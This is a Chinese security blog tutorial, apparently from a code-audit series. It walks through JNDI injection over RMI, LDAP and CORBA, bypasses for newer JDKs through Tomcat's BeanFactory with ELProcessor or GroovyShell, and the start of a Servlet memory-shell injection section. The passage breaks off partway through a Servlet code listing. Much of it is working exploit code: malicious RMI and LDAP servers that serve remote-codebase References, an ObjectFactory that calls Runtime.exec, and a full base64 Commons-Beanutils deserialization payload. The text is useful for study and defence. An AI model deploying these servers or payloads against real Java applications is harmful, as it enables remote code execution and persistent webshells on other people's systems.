文章总结: 本文详细分析了JNDI注入攻击原理,涵盖JNDI与RMI、LDAP、CORBA等协议的结合利用方式,重点演示了通过恶意Reference对象触发远程类加载执行系统命令的全过程。文档提供了完整的代码示例和调试分析,包括高版本JDK的绕过方法及Servlet内存马植入技术,具有较高的实战指导价值。
综合评分: 85
文章分类: 代码审计,漏洞分析,WEB安全,红队,安全开发
【代码审计】JNDI注入+Servlet内存马
原创
十月的进阶之路
十月的进阶之路
十月的进阶之路
2026年6月19日 11:33
中国香港
在小说阅读器读本章
去阅读
目录
1、JNDI的基本原理
2、JNDI+RMI
3、JNDI+LDAP
4、JNDI+CORBA
5、高版本JDK利用
6、通过JNDI注入Servlet内存马
1、JNDI的基本原理
本文我们开始介绍JNDI注入的相关内容,当然相关的基础概念请参考官方手册https://docs.oracle.com/javase/tutorial/jndi/overview/index.html。JNDI是一套API,在日常开发中常被当作一个偏重读取的逻辑目录来用,对外呈现的是名称到Java对象(或引用、属性)的绑定关系,具体结构可以参考下图。
2、JNDI+RMI
由于首先我们并不知道该如何编写这个恶意对象,因此我们先随手编写一个模板。
package com.test;
public class JNDIEvilCodeTest{
static {
System.out.printf("JNDIEvilCodeTest\n");
}
}
然后添加一个客户端测试代码。
//JNDIRMIClient.java
package com.test;
import java.util.Scanner;
import javax.naming.Context;
import javax.naming.InitialContext;
public class JNDIRMIClient {
public static void main(String[] args) {
System.out.println("请输入JNDI URL:");
Scanner scanner = new Scanner(System.in);
String jndiUrl = scanner.nextLine();
scanner.close();
try {
//InitialContext 会根据URL的协议自动选择对应的服务提供者(比如RMI、LDAP)
//相当于万能工厂,攻击者传入的恶意URL必须经过它处理
//攻击者必须要有一个Context实例才能调用lookup
Context context = new InitialContext();
//攻击者将完全可控的jndiUrl直接传入lookup。当URL为rmi://...时
//JVM会去连接远程RMI注册中心,获取攻击者事先绑定的恶意Reference对象
//这是整个攻击链的触发点
Object obj = context.lookup(jndiUrl);
System.out.println("查找到对象:"+obj);
} catch (Exception e) {
// TODO: handle exception
e.printStackTrace();
}
}
}
以及服务端的测试代码。
//JNDIRMIServer.java
package com.test;
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.Reference;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class JNDIRMIServer {
public static void main(String[] args) {
try {
//RMI 默认端口是1099,客户端会用这个端口连接,服务端必须先启动注册中心
//客户端才能lookup到东西
Registry registry = LocateRegistry.createRegistry(1099);
System.out.println("RMI 注册中心已启动在 1099 端口");
Reference reference = new Reference(
"com.test.JNDIEvilCodeTest", //让JNDI认为需要创建EvilClass类型的实例
"com.test.JNDIEvilCodeTest", //JNDI会使用这个类作为ObjectFactory来创建对象
"http://192.168.186.104:80/");//工厂类的codebase URL,告诉客户端EvilClass的.class文件在这个地址
//ReferenceWrapper实现了Remote接口,可以被绑定到RMI注册中心
ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
//现在,客户端只要lookup("rmi://xxxxxx:1099/evil") 就能拿到这个Reference对象
registry.bind("evil", referenceWrapper);
System.out.println("恶意对象已绑定:rmi://0.0.0.0:1099/evil");
} catch (Exception e) {
// TODO: handle exception
e.printStackTrace();
}
}
}
在客户端添加lookup处添加断点,然后调试查找过程。
步入查看内部的处理逻辑。
这个方法属于
javax.naming.InitialContext,它是JNDI的入口类,本身不做实际工作,只负责委托路由到真正的Context实现,这是典型的代理/委托模式。getURLOrDefaultInitCtx(name)检测传入的name是否为url格式,例如"rmi://..."、"ldap://..."等格式,并找到对应的URL Context Factory,返回该协议专属的Context,如RMI返回rmiURLContext。如果是其他名称则返回默认的InitialContext,由环境变量INITIAL_CONTEXT_FACTORY决定。当name="rmi://host:port/xxx"时,会找到com.sun.jndi.rmi.registry.RegistryContextFactory。当name="ldap://host/xxx"时,会找到LDAP对应的工厂。拿到对应协议的Context后,再用同一个name去做真正的远程查找,对于rmi场景下,获取RegistryContext这个Context,并调用RegistryContext.lookup("rmi://host:1099/obj"),进而连接RMI Registry(TCP), 拿到远程对象的Stub或Reference,如果是Stub则直接返回代理对象,如果是Reference则触发ObjectFactory加载, 继续步入。
getRootURLContext()解析URL,建立与远端的连接,返回的ResolveResultResolveResult var2包含两部分,已解析的根上下文+剩余未解析的名称。以rmi://127.0.0.1:1099/evil为例,根上下文连接到127.0.0.1:1099,剩余名称"evil"。var2.getResolvedObj()取出已解析的根上下文,即连接好的Registry连接对象,RMI场景下就是RegistryContext,持有对RMI Registry的连接。总结下来就是当客户端请求rmi://127.0.0.1:1099/evil时,RMI协议会解析地址与端口并建立TCP连接,得到RegistryContext根上下文与剩余名称evil。随后调用 RegistryContext.lookup("evil"),若返回的是Stub则直接使用远程对象,若返回的是Reference则会触发远程类加载机制,继续跟进。
RegistryContext.lookup()是JNDI+RMI调用链的第三层,也是真正与RMI Registry进行网络通信的地方。RMI 中,Remote是所有可远程调用对象的顶层接口,底层的sun.rmi.registry.RegistryImpl_Stub持有真实的TCP连接。客户端通过var1.get(0)取名称的第一个分量(如"evil"),调用this.registry.lookup()发起真正的网络请求,经RMI协议向远端Registry查询对象,远端Registry返回序列化后的Stub或Reference。还记得”evil“绑定的内容吗?就在server测试代码中。
继续跟进,RegistryImpl_Stub.lookup()是RMI网络调用的最底层,负责序列化参数、通过invoke()阻塞等待TCP响应,并调用readObject()反序列化服务端返回的对象。此处的反序列化入口是安全风险点,可能被恶意payload利用导致远程代码执行。
查看readObject返回内容,你会发现正是服务端绑定的内容。
继续调试。
RegistryContext.decodeObject()是JNDI注入的核心危险方法,它从RMI返回的RemoteReference中提取包含远程codebase的Reference对象,并调用NamingManager.getObjectInstance()从远程URL加载工厂类并实例化,从而触发远程代码执行。高版本JDK通过trustURLCodebase限制该行为。
继续步入,进入NamingManager.getObjectInstance()方法,会发现refInfo就是我们编写的恶意类,以及该类所在的地址。
getObjectFactoryFromReference()是JNDI注入攻击链中最危险的工厂加载入口。它接收Reference对象和工厂类名,首先在本地classpath中尝试加载该工厂类。若本地不存在,则从Reference的classFactoryLocation(即远程codebase URL)处下载字节码,通过URLClassLoader加载并实例化工厂类。实例化过程会执行工厂类的静态代码块和构造器,从而导致远程代码执行。继续调试,进入getObjectFactoryFromReference方法。
执行了helper.loadClass(factoryName, codebase)后发现发起了请求获取了我们构造恶意类。
继续调试发现报错。
也就是说我们构造的恶意类没有实现javax.naming.spi.ObjectFactory这个接口,同时实现这个接口需要实现getObjectInstance这个方法,因此修改我们的代码如下。
package com.test;
import java.util.Hashtable;
import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
public class JNDIEvilCodeTest implements ObjectFactory{
static {
System.out.println("JNDIEvilCodeTest 的静态代码块被执行");
}
public Object getObjectInstance(Object obj, Name name, Context nameCtx,
Hashtable<?,?> environment)
throws Exception{
System.out.println("JNDIEvilCodeTest的getObjectInstance方法被执行");
return null;
}
}
重新调试。
继续调试factory.getObjectInstance发现JNDIEvilCodeTest的getObjectInstance方法被执行。
因此可以给出我们最终的测试代码。
package com.test;
import java.util.Hashtable;
import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
public class JNDIEvilCodeTest implements ObjectFactory{
public Object getObjectInstance(Object obj, Name name, Context nameCtx,
Hashtable<?,?> environment)
throws Exception{
Runtime.getRuntime().exec("calc.exe");
return null;
}
}
在jdk 1.8.0_111的测试结果如下。
让我们看看在更高的jdk版本上的变化,这里我使用jdk 1.8.0_271作为测试。
经过调试发现,直接抛出异常,提示The object factory is untrusted. Set the system property 'com.sun.jndi.rmi.object.trustURLCodebase' to 'true'.
为客户端添加属性设置后再次调试。
这次我们过掉了url不受信任的问题,继续跟进调试。
然后发现在系统启动时就设置了com.sun.jndi.ldap.object.trustURLCodebase为false,因此需要添加System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase","true");来过掉此处的判断。修改客户端的代码后再次测试。
从上面的调试,我们发现高版本的jdk通过设置trustURLCodebase为false来禁用Reference加载不受信任的远程对象从而避免恶意代码的执行。这个漏洞在jdk8u121当中被修复,也就是lookup()方法只可以对本地进行lookup()方法的调用。
3、JNDI+LDAP
本小结继续分析JNDI结合LDAP注入的逻辑,恶意类的代码保持不变,编写如下的客户端测试代码。
package com.test;
import java.util.Scanner;
import javax.naming.Context;
import javax.naming.InitialContext;
public class JNDILDAPClient {
public static void main(String[] args) {
System.out.println("请输入JNDI URL ldap://127.0.0.1:1389/cn=evil,dc=example,dc=com :");
Scanner scanner = new Scanner(System.in);
String jndiUrl = scanner.nextLine();
scanner.close();
try {
Context context = new InitialContext();
Object obj = context.lookup(jndiUrl);
System.out.println("查找到对象:"+obj);
} catch (Exception e) {
// TODO: handle exception
e.printStackTrace();
}
}
}
编写服务端的测试代码如下,注意需要添加unboundid的相关依赖,我们使用它作为ldap服务器。
package com.test;
import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import javax.naming.Reference;
import java.net.InetAddress;
public class JNDILDAPServer {
public static void main(String[] args) {
try {
InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig("dc=example,dc=com");
config.setSchema(null);
config.setListenerConfigs(
InMemoryListenerConfig.createLDAPConfig("ldap", InetAddress.getByName("0.0.0.0"), 1389,null)
);
InMemoryDirectoryServer server = new InMemoryDirectoryServer(config);
server.startListening();
System.out.println("LDAP 服务器已启动在 ldap://0.0.0.0:1389");
Reference reference = new Reference(
"com.test.JNDIEvilCodeTest",
"com.test.JNDIEvilCodeTest",
"http://192.168.186.104:80/"
);
server.add(
"dn: dc=example,dc=com",
"objectClass: top",
"objectClass: domain",
"dc: example"
);
String dn = "cn=evil,dc=example,dc=com";
server.add(
"dn: "+dn,
"objectClass: top",
"objectClass: javaNamingReference",
"objectClass: javaObject",
"javaClassName: " + reference.getClassName(),
"javaCodeBase: " + reference.getFactoryClassLocation(),
"javaFactory: " + reference.getFactoryClassName(),
"cn: evil"
);
System.out.println("恶意条目已绑定: ldap://127.0.0.1:1389/" + dn);
System.out.println(server.getEntry(dn).toLDIFString());
System.out.println("按任意键关闭服务器...");
System.in.read();
server.shutDown(true);
} catch (Exception e) {
e.printStackTrace();
}
}
}
依旧是断点在客户端lookup处,进行调试,不过基于前面已经分析过rmi了,因此这里只重点分析一些过程。
检测URL中是否含有 查询组件(Query Components),LDAP URL的完整结构为ldap://host:port/dn?attributes?scope?filter?extensions,问号后面的都是查询组件。这里如果存在查询组件则抛出异常,带查询参数的LDAP URL可以指定任意attributes、filter、scope,如果直接lookup执行,可能导致注入攻击或非预期的目录遍历,LdapURLContext本身不处理这种复杂查询,应交给search()方法处理。
再次来到这个熟悉的函数,把一个完整的URL字符串拆解成「根Context」+「剩余路径」,再委托真正的Context去执行查找。完整的URL路径为ldap://localhost:1389/cn=evil,dc=example,dc=com,//localhost:1389/为resolvedObj,也就是LdapCtx连接对象,cn=evil,dc=example,dc=com为remainingName,即要查询的DN路径。
PartialCompositeContext.lookup的核心是通过一个由Continuation控制的循环,迭代式地调用每个当前上下文的p_lookup,逐段“吃掉”复合命名路径中自己能处理的部分。当一段Context无法完全解析时,通过getRemainingName更新剩余路径并切换到下一个PartialCompositeContext继续,直到目标被完整定位。若当前上下文完全无法处理该命名系统,则抛出CannotProceedException,由NamingManager动态获取能处理剩余路径的新上下文继续查找,整体上以责任链与迭代器结合的模式实现了跨多命名系统的透明定位。
其中this.p_resolveIntermediate(var1, var2)会解析复合名称,判断当前名称是否完全属于本LDAP上下文(状态 2),还是需要跨越到下一个命名系统(状态3,通常指nns,即非本命名系统),对于我们的输入cn=evil,dc=example,dc=com是一个标准的LDAP DN,完全在当前LDAP服务器的命名空间中,解析结果的状态会是2。调用c_lookup对cn=evil,dc=example,dc=com进行实际查找,c_lookup会向LDAP服务器发起搜索请求,获取该条目的所有属性,并根据属性决定构建什么样的Java对象返回。
继续调试进入到LdapCtx.c_lookup(Name, Continuation)处理逻辑中,在该段代码中会通过doSearchOnce()发送LDAP查询请求,通过Obj.decodeObject()还原java对象,通过getObjectInstance()进行工厂实例化。
后面就是DirectoryManager.getObjectInstance()进一步触发工厂类加载,并触发JNDIEvilCodeTest#getObjectInstance方法弹出计算器。
| | |
| — | — |
| |
|
让我们切换到jdk 1.8.0_271,调试发现默认也无法弹出了。
4、JNDI+CORBA
CORBA(Common Object Request Broker Architecture)是一种分布式对象标准,允许不同语言、不同平台的程序通过ORB(Object Request Broker进行通信。在JNDI中,CORBA对象通过IIOP(Internet Inter-ORB Protocol)协议进行通信,URL格式为corbaname://host:port#ObjectName,corbaloc://host:port/ObjectName。JNDI支持通过corbaname://和corbaloc://协议查找远程对象,注入原理与RMI/LDAP类似,本质上是利用JNDI动态加载远程对象。CORBA的利用姿势分为如下三类,CORBA IOR Codebase远程类加载,CORBA+Reference工厂类加载,CORBA IIOP反序列化利用,但是实现起来有几处比较麻烦,CORBA命名服务不允许绑定javax.naming.Reference,只能绑定org.omg.CORBA.Object,这样不管是手工构造IOR结构还是CORBA +Reference工厂类远程加载都需要处理这个转换,属于是相当麻烦了。当然更方便的是weblogic扩展IIOP协议,允许在命名服务中存储并传递带Reference的JNDI对象,这个放到后门再讲解了。
5、高版本JDK利用
JNDI注入在高版本JDK上的绕过公开的主要包含两种方式,利用本地类作为Reference Factory和利用LDAP返回序列化数据触发Gadget。这两种方法的核心都在于放弃从远程Codebase加载恶意Factory类,转而利用目标应用本地CLASSPATH中已有的类来完成攻击。虽然禁用了Codebase,但是JNDI在解析Reference仍然会尝试从本地CLASSPATH中加载并实例化工厂类。因此攻击者就需要寻找一个被普遍使用,并且实现了javax.naming.spi.ObjectFactory接口的类。org.apache.naming.factory.BeanFactory存在于Tomcat中,是应用较为广泛的类之一。
BeanFactory是一个JNDI ObjectFactory实现,专门用于处理ResourceRef类型的引用。根据ResourceRef中的类名和属性,通过JavaBean的setter方法创建一个Java对象并注入属性。它支持forceString属性,允许将某个字符串属性的值强制转换为对对象任意方法的调用,而不只是setter。
继续分析。
我们在服务端构造了代码resourceRef.add(new StringRefAddr("forceString", "t4rrega=eval"))那么在后面就会通过反射执行eval这个函数,同时ELProcessor类也存在eval这个函数。服务端构造恶意ResourceRef时,指定目标类为javax.el.ELProcessor、工厂类为旧版org.apache.naming.factory.BeanFactory,并通过StringRefAddr("forceString", "t4rrega=eval")将自定义属性名t4rrega强制映射为ELProcessor的 eval(String)方法,同时添加t4rrega属性,其值为包含Runtime.getRuntime().exec(...)的恶意EL表达式。客户端通过JNDI lookup获取该ResourceRef后,BeanFactory.getObjectInstance()首先实例化ELProcessor,然后解析forceString建立从"t4rrega"到eval方法的反射映射,再遍历所有属性时发现t4rrega属性,便通过反射调用eval并将该属性的值(EL表达式)作为参数传入,最终EL引擎解析并执行Runtime.getRuntime().exec(),从而完成远程命令执行。
① RMI+BeanFactory
这里我使用jdk8u271,同时需要添加一些依赖到pom.xml中。
<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-catalina</artifactId>
<version>8.5.0</version>
</dependency>
<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-jasper-el</artifactId>
<version>8.5.0</version>
</dependency>
服务端代码如下。
package com.test;
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import org.apache.naming.ResourceRef;
import javax.naming.StringRefAddr;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import org.apache.naming.factory.BeanFactory;
public class JNDIRMIServer {
public static void main(String[] args) {
try {
// 1. 创建 RMI 注册表(端口 1099)
Registry registry = LocateRegistry.createRegistry(1099);
System.out.println("RMI 注册中心已启动在 1099 端口");
// 2. 构造恶意的 ResourceRef 对象
// 参数说明:
// - 要实例化的类: javax.el.ELProcessor
// - factory: org.apache.naming.factory.BeanFactory (Tomcat自带的工厂类)
ResourceRef resourceRef = new ResourceRef(
"javax.el.ELProcessor",
null, "", "", true,
"org.apache.naming.factory.BeanFactory", null
);
// 3. 添加属性:强制将 "t4rrega" 属性的值作为参数调用 eval() 方法
resourceRef.add(new StringRefAddr("forceString", "t4rrega=eval"));
// 4. 添加属性:EL 表达式,执行系统命令(此处以 macOS 计算器为例,可替换为其他命令)
String cmd = "Runtime.getRuntime().exec('calc.exe')";
resourceRef.add(new StringRefAddr("t4rrega", cmd));
// 5. 用 ReferenceWrapper 包装并绑定到注册表
ReferenceWrapper referenceWrapper = new ReferenceWrapper(resourceRef);
registry.bind("evil", referenceWrapper);
System.out.println("恶意对象已绑定:rmi://127.0.0.1:1099/evil");
} catch (Exception e) {
e.printStackTrace();
}
}
}
客户端代码没什么变化。
package com.test;
import java.util.Scanner;
import javax.naming.Context;
import javax.naming.InitialContext;
public class JNDIRMIClient {
public static void main(String[] args) {
System.out.println("请输入JNDI URL rmi://127.0.0.1:1099/evil :");
Scanner scanner = new Scanner(System.in);
String jndiUrl = scanner.nextLine();
scanner.close();
try {
Context context = new InitialContext();
Object obj = context.lookup(jndiUrl);
System.out.println("查找到对象:"+obj);
} catch (Exception e) {
// TODO: handle exception
e.printStackTrace();
}
}
}
依旧是断点调试。
从当前的本地类加载器找到了org.apache.naming.factory.BeanFactory,因此后面将不会再进行远程查找。
继续调试进入BeanFactory获取["forceString","t4rrega=eval"]键值对。
继续跟进,进入ELProcessor#eval方法。
最终通过表达式来执行代码。
| | |
| — | — |
| |
|
除了使用ELProcessor作为实例化的对象外,还可以使用groovy.lang.GroovyClassLoader,通过执行断言实现代码执行,添加pom.xml依赖。
<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-catalina</artifactId>
<version>8.5.0</version>
</dependency>
<dependency>
<groupId>org.codehaus.groovy</groupId>
<artifactId>groovy</artifactId>
<version>2.4.5</version>
</dependency>
客户端代码不变,仅仅修改服务端代码。
package com.test;
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import org.apache.naming.ResourceRef;
import javax.naming.StringRefAddr;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class JNDIRMIServer {
public static void main(String[] args) {
try {
Registry registry = LocateRegistry.createRegistry(1099);
System.out.println("RMI 注册中心已启动在 1099 端口");
// 目标类改为 groovy.lang.GroovyShell
ResourceRef resourceRef = new ResourceRef(
"groovy.lang.GroovyShell",
null, "", "", true,
"org.apache.naming.factory.BeanFactory", null
);
// forceString:将属性 t4rrega 映射到 evaluate 方法(参数 String)
resourceRef.add(new StringRefAddr("forceString", "t4rrega=evaluate"));
// 恶意 Groovy 脚本:直接执行命令
String script = "Runtime.getRuntime().exec('calc.exe')";
resourceRef.add(new StringRefAddr("t4rrega", script));
ReferenceWrapper referenceWrapper = new ReferenceWrapper(resourceRef);
registry.bind("evil", referenceWrapper);
System.out.println("恶意对象已绑定:rmi://127.0.0.1:1099/evil");
} catch (Exception e) {
e.printStackTrace();
}
}
}
测试结果。
② LDAP+CB链
除了通过BeanFactory绕过的方式,还可以利用LDAP目录服务返回的javaSerializedData属性,让客户端在lookup过程中自动进行反序列化,从而触发本地Classpath中存在的反序列化Gadget链,最终实现远程代码执行。客户端依旧使用之前的LDAP注入的代码,修改服务端的代码如下。
package com.test;
import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
import com.unboundid.util.Base64;
import java.net.InetAddress;
public class JNDILDAPServer {
public static void main(String[] args) {
try {
InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig("dc=example,dc=com");
config.setSchema(null);
config.setListenerConfigs(
InMemoryListenerConfig.createLDAPConfig("ldap", InetAddress.getByName("0.0.0.0"), 1389, null)
);
// 注册操作拦截器,拦截所有查询请求并返回恶意反序列化数据
config.addInMemoryOperationInterceptor(new CBDeserializeInterceptor());
InMemoryDirectoryServer server = new InMemoryDirectoryServer(config);
server.startListening();
System.out.println("LDAP 服务器已启动在 ldap://0.0.0.0:1389");
// 添加基础条目,使搜索能够成功
server.add(
"dn: dc=example,dc=com",
"objectClass: top",
"objectClass: domain",
"dc: example"
);
System.out.println("恶意条目已绑定,任意查找请求均返回反序列化 payload");
System.out.println("按回车键关闭服务器...");
System.in.read();
server.shutDown(true);
} catch (Exception e) {
e.printStackTrace();
}
}
/**
* 自定义 LDAP 操作拦截器,拦截所有搜索请求并返回包含 CB 链序列化数据的条目
*/
private static class CBDeserializeInterceptor extends InMemoryOperationInterceptor {
@Override
public void processSearchResult(InMemoryInterceptedSearchResult result) {
String base = result.getRequest().getBaseDN();
Entry e = new Entry(base);
try {
// 1. 添加 javaClassName(非必需,但可辅助标识)
e.addAttribute("javaClassName", "java.lang.Object");
// 2. 设置 javaSerializedData 属性
// 这里填入你用 Exploit 生成的 Base64 编码 payload(完整)
String payloadBase64 = "rO0ABXNyABdqYXZhLnV0aWwuUHJpb3JpdHlRdWV1ZZTaMLT7P4KxAwACSQAEc2l6ZUwACmNvbXBhcmF0b3J0ABZMamF2YS91dGlsL0NvbXBhcmF0b3I7eHAAAAACc3IAK29yZy5hcGFjaGUuY29tbW9ucy5iZWFudXRpbHMuQmVhbkNvbXBhcmF0b3LjoYjqcyKkSAIAAkwACmNvbXBhcmF0b3JxAH4AAUwACHByb3BlcnR5dAASTGphdmEvbGFuZy9TdHJpbmc7eHBzcgAqamF2YS5sYW5nLlN0cmluZyRDYXNlSW5zZW5zaXRpdmVDb21wYXJhdG9ydwNcfVxQ5c4CAAB4cHQAEG91dHB1dFByb3BlcnRpZXN3BAAAAANzcgA6Y29tLnN1bi5vcmcuYXBhY2hlLnhhbGFuLmludGVybmFsLnhzbHRjLnRyYXguVGVtcGxhdGVzSW1wbAlXT8FurKszAwAGSQANX2luZGVudE51bWJlckkADl90cmFuc2xldEluZGV4WwAKX2J5dGVjb2Rlc3QAA1tbQlsABl9jbGFzc3QAEltMamF2YS9sYW5nL0NsYXNzO0wABV9uYW1lcQB+AARMABFfb3V0cHV0UHJvcGVydGllc3QAFkxqYXZhL3V0aWwvUHJvcGVydGllczt4cAAAAAD/////dXIAA1tbQkv9GRVnZ9s3AgAAeHAAAAABdXIAAltCrPMX+AYIVOACAAB4cAAABKDK/rq+AAAANAA0CgAMABsHABwJAAsAHQkACwAeCQALAB8KACAAIQgAIgoAIAAjBwAkCgAJACUHACYHACcBAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQAJdHJhbnNmb3JtAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAKRXhjZXB0aW9ucwcAKAEApihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAg8Y2xpbml0PgEADVN0YWNrTWFwVGFibGUHACQBAApTb3VyY2VGaWxlAQAIUmNlLmphdmEMAA0ADgEAEGphdmEvbGFuZy9TdHJpbmcMACkAKgwAKwAqDAAsAC0HAC4MAC8AMAEACGNhbGMuZXhlDAAxADIBABNqYXZhL2xhbmcvRXhjZXB0aW9uDAAzAA4BAAxjb20vdGVzdC9SY2UBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQAKbmFtZXNBcnJheQEAE1tMamF2YS9sYW5nL1N0cmluZzsBAAl1cmlzQXJyYXkBAAp0eXBlc0FycmF5AQACW0kBABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7AQAPcHJpbnRTdGFja1RyYWNlACEACwAMAAAAAAAEAAEADQAOAAEADwAAAEQAAgABAAAAHCq3AAEqA70AArUAAyoDvQACtQAEKgO8CrUABbEAAAABABAAAAAWAAUAAAAWAAQAFwAMABgAFAAZABsAGgARABEAEgACAA8AAAAZAAAAAwAAAAGxAAAAAQAQAAAABgABAAAAIAATAAAABAABABQAAQARABUAAgAPAAAAGQAAAAQAAAABsQAAAAEAEAAAAAYAAQAAACUAEwAAAAQAAQAUAAgAFgAOAAEADwAAAE8AAgABAAAAErgABhIHtgAIV6cACEsqtgAKsQABAAAACQAMAAkAAgAQAAAAFgAFAAAAEAAJABQADAASAA0AEwARABUAFwAAAAcAAkwHABgEAAEAGQAAAAIAGnB0AAR0ZXN0cHcBAHhxAH4ADXg=";
byte[] serializedData = Base64.decode(payloadBase64);
e.addAttribute("javaSerializedData", serializedData);
// 3. 发送查询结果
result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
} catch (Exception e1) {
e1.printStackTrace();
result.setResult(new LDAPResult(1, ResultCode.OTHER));
}
}
}
}
当然CB链你需要添加相应的pom.xml依赖。
<dependency>
<groupId>commons-beanutils</groupId>
<artifactId>commons-beanutils</artifactId>
<version>1.9.2</version>
</dependency>
CB链的利用代码参考之前的文章,这里不再赘述。打上断点进行主要流程的调试。
检测到JAVA_ATTRIBUTES[1]即javaSerializedData不为空则进行反序列化处理。
一直跟进,最终进入CB链的路径。
最终弹出计算器。
6、通过JNDI注入Servlet内存马
① 启动过程中的Servlet注入逻辑
想要构造一个Servlet内存马,我们需要先来调试一下正常的Servlet是如何工作的。在这里我将其分为两个阶段,在启动阶段,分析Servlet如何被注册到StandardContext中。在运行阶段,分析请求到来时如何从StandardContext中获取Servlet。最后基于分析的结果构建基于JNDI注入的Servlet内存马。 首先分析启动阶段的逻辑,断点并进入应用上下文的创建,对于Web项目会创建AnnotationConfigServletWebServerApplicationContext。this.refreshContext(context)中会触发整个容器初始化,包括扫描并注册所有Bean、启动内嵌Tomcat、将Servlet注册到StandardContext。
继续调试进入AbstractApplicationContext.refresh(),创建并启动内嵌Tomcat,同时触发Servlet注册到StandardContext的流程。
继续调试进入ServletWebServerApplicationContext#createWebServer,获取Web服务器工厂,对于Tomcat项目这里返回的是TomcatServletWebServerFactory。
继续调试进入TomcatWebServer#initialize方法,通过代码this.tomcat.start()启动Tomcat,这会触发StandardContext的生命周期初始化,进而调用所有注册的ServletContainerInitializer,即TomcatStarter.onStartup(),Servlet注册就在此时发生。
具体调试进入LifecycleBase#start方法中,startInternal()是模板方法,由各子类实现。对于StandardContext来说,它的startInternal()会负责调用所有注册的ServletContainerInitializer(即TomcatStarter.onStartup()),从而触发Servlet注册。这里会按照Tomcat的容器层级是Server→Service→Engine→Host→Context这条链路逐层启动,最终到达StandardContext.startInternal()。
继续调试进入StandardContext#startInternal方法,遍历所有注册的ServletContainerInitializer,调用其onStartup()方法。这里会调用到之前注册的TomcatStarter.onStartup(),进而触发getSelfInitializer()中封装的Servlet注册逻辑。
继续调试进入ServletWebServerApplicationContext#selfInitialize方法,getServletContextInitializerBeans()会从Spring容器中收集所有ServletContextInitializer类型的Bean,其中就包括封装了DispatcherServlet的DispatcherServletRegistrationBean,调用其onStartup()最终完成Servlet注册到StandardContext。
继续调试进入ApplicationContext#addServlet方法,此处的this.context就是StandardContext,DispatcherServlet被包装成StandardWrapper,通过addChild()存储到StandardContext的children中。
到此我们知道在启动阶段Servlet被注册到了StandardContext中。
② 运行过程中的Servlet查找逻辑
接下来调试运行阶段,分析在运行阶段是如何获取Servlet的。为了方便调试,先编写一个简单的Servlet
package com.test;
import javax.servlet.ServletException;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.PrintWriter;
public class MyCustomServlet extends HttpServlet {
// Servlet 初始化时调用
@Override
public void init() throws ServletException {
super.init();
System.out.println("MyCustomServlet init");
}
// 处理 GET 请求
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
resp.setContentType("text/html;charset=UTF-8");
PrintWriter out = resp.getWriter();
out.println("<html><body>");
out.println("<h1>Hello from MyCustomServlet</h1>");
out.println("<p>Request URI: " + req.getRequestURI() + "</p>");
out.println("</body></html>");
out.flush();
}
// 处理 POST 请求(简单转发到 doGet)
@Override
protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
doGet(req, resp);
}
// 销毁时调用
@Override
public void destroy() {
super.destroy();
System.out.println("MyCustomServlet destroy");
}
}
并创建一个配置类。
package com.test;
import com.test.MyCustomServlet;
import org.springframework.boot.web.servlet.ServletRegistrationBean;
import org.springframework.context.annotation.Bean;
import org.springframework.context.annotation.Configuration;
@Configuration
public class ServletConfig {
@Bean
public ServletRegistrationBean<MyCustomServlet> myCustomServletRegistration() {
ServletRegistrationBean<MyCustomServlet> registration = new ServletRegistrationBean<>();
registration.setServlet(new MyCustomServlet()); // 设置 Servlet 实例
